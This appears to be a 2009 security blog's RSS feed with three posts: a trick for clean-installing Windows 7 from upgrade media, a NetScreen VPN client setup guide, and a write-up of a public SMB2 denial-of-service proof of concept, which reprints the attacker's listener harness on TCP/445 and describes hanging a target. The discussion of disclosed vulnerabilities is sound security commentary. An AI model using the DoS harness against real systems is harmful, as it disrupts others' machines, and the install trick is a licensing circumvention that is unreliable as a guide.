<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Binary Abstractions &#187; 2009 &#187; November</title>
	<atom:link href="http://www.binaryabstractions.com/2009/11/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.binaryabstractions.com</link>
	<description>Research and Other Diatribes</description>
	<lastBuildDate>Thu, 04 Nov 2010 22:25:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Windows 7 Clean Install Hack</title>
		<link>http://www.binaryabstractions.com/2009/11/24/windows-7-clean-install-hack/</link>
		<comments>http://www.binaryabstractions.com/2009/11/24/windows-7-clean-install-hack/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 04:20:55 +0000</pubDate>
		<dc:creator>SigmaApex</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.binaryabstractions.org/2009/11/24/windows-7-clean-install-hack/</guid>
		<description><![CDATA[…sort of.  Its not really a hack per se but a way to save a $100 bucks on the full install.  A clean install of Windows 7 on a fresh drive is possible with the upgrade version of Windows 7 by coping the “Windows” directory from any XP or Vista installation to any removable media.  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.binaryabstractions.com/wp-content/uploads/2009/11/image.png"><img class="alignleft size-full wp-image-143" title="image.png" src="http://www.binaryabstractions.com/wp-content/uploads/2009/11/image.png" alt="" width="154" height="41" /></a>…sort of.  Its not really a hack per se but a way to save a $100 bucks on the full install.  A clean install of <a href="http://store.microsoft.com/microsoft/Windows-7-Ultimate-Upgrade/product/592F5AF5?WT.mc_id=winonline_shop_ULTupgrade" target="_blank">Windows 7</a> on a fresh drive is possible with the upgrade version of Windows 7 by coping the “Windows” directory from any XP or Vista installation to any removable media.  As long as the installer can read from the removable media, the install (and activation) worked like a charm.</p>
<p style="text-align: center;"><a href="http://www.newertech.com/products/usb2_adaptv2.php" target="_blank"><img class="aligncenter" style="display: inline; border: 0pt none;" title="image" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/image1.png" border="0" alt="image" width="240" height="176" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.binaryabstractions.com/2009/11/24/windows-7-clean-install-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configuring NetScreen-Remote VPN Client w/ PSK</title>
		<link>http://www.binaryabstractions.com/2009/11/17/configuring-netscreen-remote-vpn-client-w-psk/</link>
		<comments>http://www.binaryabstractions.com/2009/11/17/configuring-netscreen-remote-vpn-client-w-psk/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 04:00:15 +0000</pubDate>
		<dc:creator>SigmaApex</dc:creator>
				<category><![CDATA[Networking]]></category>

		<guid isPermaLink="false">http://www.binaryabstractions.org/2009/11/17/configuring-netscreen-remote-vpn-client-w-psk/</guid>
		<description><![CDATA[There has been a dearth of useful documentation on configuring both the client and server side Juniper NetScreen Dial-Up VPN that I decided to put together this post with a how-to style.  I have painfully had to reconfigure the SafeNet VPN client and VPN services on our NetScreen Firewall enough times that posting a how-to can nearly be drafted from memory…less the screenshots.]]></description>
			<content:encoded><![CDATA[<p><a rel="thumb" href="http://ww.juniper.net"><img style="margin: 5px 5px 0px; display: inline; border-width: 0px;" title="thumb_juniper" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/thumb_juniper.gif" border="0" alt="thumb_juniper" width="152" height="46" align="left" /></a>The Juniper <a href="http://kb.juniper.net/KB14878" target="_blank">knowledgebase</a> contains a reasonably complete how-to article on how to properly configure the NetScreen Firewall to support Dial-Up VPN access using a pre-shared key.  However, the documentation glazes over the details on how to properly configure the VPN client and leaves out some of the configuration options available.  In this article I attempt to fill in the gaps and provide complete setup guidance while highlighting deviations from the limited KB setup example.</p>
<p>Configuring the client is actually fairly straight forward and only requires the setting used to configure the Firewall VPN and a rudimentary understanding of IPSEC. The guidance within this article is simply mapping the VPN settings directly to the client configuration.</p>
<p>0) Open the NetScreen-Remote Security Policy Editor through the Start menu or by right clicking the task bar icon and selecting <strong>Security Policy Editor…</strong></p>
<h4>Remote Party Identity and Addressing</h4>
<p>1) Create a new connection.  In this example I chose to call the connection ‘Home’.  Ensure that the “Remote Party Identity and Addressing” section matches the VPN Server “Phase 2 Proposals” Proxy-ID section.</p>
<table border="0" cellspacing="0" cellpadding="2" width="751">
<tbody>
<tr>
<td width="374" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clienthome1.jpg"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Client-home" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clienthome_thumb1.jpg" border="0" alt="Client-home" width="334" height="245" /></a></td>
<td width="375" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Serverphase22.png"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Server-phase2" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Serverphase2_thumb2.png" border="0" alt="Server-phase2" width="401" height="213" /></a></td>
</tr>
</tbody>
</table>
<h4>Client Identity</h4>
<p>2) Next, select “My Identity” and set the pre-shared key used when configuring the VPN Server.  You should also configure the “ID Type” under the ‘My Identity” section.  For the Dial-Up VPN the ID Type should be set to “Email Address” and should correspond to a user configured on the VPN Server within the “Remote VPN Group” (though this may be called something else).  The “Secure Interface Configuration” and “Internet Interface” sections can be left alone.</p>
<table border="0" cellspacing="0" cellpadding="2" width="751">
<tbody>
<tr>
<td width="374" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clientident1.jpg"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Client-ident" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clientident_thumb1.jpg" border="0" alt="Client-ident" width="334" height="246" /></a></td>
<td width="375" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Servergateway1.png"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Server-gateway" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Servergateway_thumb1.png" border="0" alt="Server-gateway" width="401" height="136" /></a></td>
</tr>
</tbody>
</table>
<h4>Security Policy</h4>
<p>3) Next, select “Security Policy” and set the Phase 1 Negotiation Mode to “Aggressive Mode”.  (NOTE: “Main Mode” may also be selected for identity protection provided the server supports it.  The Juniper KB article shows Aggressive mode being selected.) It is important to note that the NetScreen VPN uses the Diffie-Hellman Group 2 Key Group.  Group 2 will also have to be selected within the Phase 1 proposal tab as well.  NetScreen also supports Replay Protection and Perfect Forward Secrecy (PFS) however these need to be enabled on the server side as well.</p>
<table border="0" cellspacing="0" cellpadding="2" width="375">
<tbody>
<tr>
<td width="373" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clientpolicy1.jpg"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Client-policy" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clientpolicy_thumb1.jpg" border="0" alt="Client-policy" width="334" height="245" /></a></td>
</tr>
</tbody>
</table>
<h4>Authentication (Phase 1) and Key Exchange (Phase 2)</h4>
<p>4) For the next two tabs “Authentication (Phase 1)” and “Key Exchange (Phase 2)” be sure to configure the proposals that line up with the VPN Server Phase1 and Phase 2 settings. Specifically align the Encryption Algorithms and the Hash Algorithms.</p>
<table border="0" cellspacing="0" cellpadding="2" width="751">
<tbody>
<tr>
<td width="374" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clientphase11.jpg"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Client-phase1" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clientphase1_thumb1.jpg" border="0" alt="Client-phase1" width="334" height="245" /></a></td>
<td width="375" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Serverphase11.png"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Server-phase1" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Serverphase1_thumb1.png" border="0" alt="Server-phase1" width="401" height="133" /></a></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="2" width="751">
<tbody>
<tr>
<td width="374" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clientprop21.jpg"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Client-prop2" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Clientprop2_thumb1.jpg" border="0" alt="Client-prop2" width="334" height="246" /></a></td>
<td width="375" valign="top"><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Serverphase23.png"><img style="display: block; float: none; margin-left: auto; margin-right: auto; border: 0px;" title="Server-phase2" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/Serverphase2_thumb3.png" border="0" alt="Server-phase2" width="401" height="213" /></a></td>
</tr>
</tbody>
</table>
<p>That should be about it.  The biggest mistake most people seem to make is matching the Proxy-ID IP Address and Subnet to the “Remote Party Identity” ID</p>
]]></content:encoded>
			<wfw:commentRss>http://www.binaryabstractions.com/2009/11/17/configuring-netscreen-remote-vpn-client-w-psk/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Windows 7 and Server 2008 R2 SMB DoS</title>
		<link>http://www.binaryabstractions.com/2009/11/16/windows-7-and-server-2008-r2-smb-dos/</link>
		<comments>http://www.binaryabstractions.com/2009/11/16/windows-7-and-server-2008-r2-smb-dos/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 13:54:00 +0000</pubDate>
		<dc:creator>SigmaApex</dc:creator>
				<category><![CDATA[Exploits]]></category>

		<guid isPermaLink="false">http://www.binaryabstractions.org/2009/11/16/windows-7-and-server-2008-r2-smb-dos/</guid>
		<description><![CDATA[Last week Laurent Gaffie posted a POC for a Windows 7 (beta through RC) and Windows Server 2008 R2 SMB denial of service.  He provided a POC in a Python payload harness to setup the listener and deliver the SMB packet. The code works fresh from the box however, pay attention to Python’s preference for [...]]]></description>
			<content:encoded><![CDATA[<p>Last week <a href="http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html" target="_blank">Laurent Gaffie</a> posted a POC for a Windows 7 (beta through RC) and Windows Server 2008 R2 SMB denial of service.  He provided a POC in a Python payload harness to setup the listener and deliver the SMB packet.</p>
<p>The code works fresh from the box however, pay attention to Python’s preference for tabs:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" style="border-style: none; margin: 0em; padding: 0px; overflow: visible; text-align: left; line-height: 12pt; background-color: #f4f4f4; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt;"><span style="color: #0000ff;">class</span> SMB2(SocketServer.BaseRequestHandler):
 <span style="color: #0000ff;">def</span> handle(self):
   <span style="color: #0000ff;">print</span> <span style="color: #006080;">"Who:"</span>, self.client_address
 <span style="color: #0000ff;">  print</span> <span style="color: #006080;">"THANKS SDL"
</span>   input = self.request.recv(1024)
   self.request.send(packet)
   self.request.<span style="color: #0000ff;">close</span>()

launch = SocketServer.TCPServer((<span style="color: #006080;">''</span>, 445),SMB2)
launch.serve_forever()</pre>
</div>
<p><!-- .csharpcode, .csharpcode pre { 	font-size: small; 	color: black; 	font-family: consolas, "Courier New", courier, monospace; 	background-color: #ffffff; 	/*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { 	background-color: #f4f4f4; 	width: 100%; 	margin: 0em; } .csharpcode .lnum { color: #606060; } --></p>
<p>There really is nothing special that is required to make this work.  Executing the Python script will open a socket listening on TCP/445.  When the target attempts to access SMB services on the attacker, the target will hang.</p>
<p>I was not able to produce a BSOD and in some test cases the target was recovered once the SMB session was terminated.  NOTE: any SMB session connection will do, however as Laurent pointed out the ‘dir’ method is the easiest.</p>
<p>Just for grins, I captured the errant packet as it flew across the wire.  This is the encoded back from Laurent’s source in PCAP format decoded in Wireshark.</p>
<p><a href="http://www.binaryabstractions.org/wp-content/uploads/2009/11/smbWin7DoScapture.jpg"><img style="display: inline; border: 0px;" title="smb-Win7-DoS capture" src="http://www.binaryabstractions.org/wp-content/uploads/2009/11/smbWin7DoScapture_thumb.jpg" border="0" alt="smb-Win7-DoS capture" width="514" height="429" /></a></p>
<p>Why do we care?  How many organizations or even home users block egress SMB ?  Not many I’m certain.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.binaryabstractions.com/2009/11/16/windows-7-and-server-2008-r2-smb-dos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

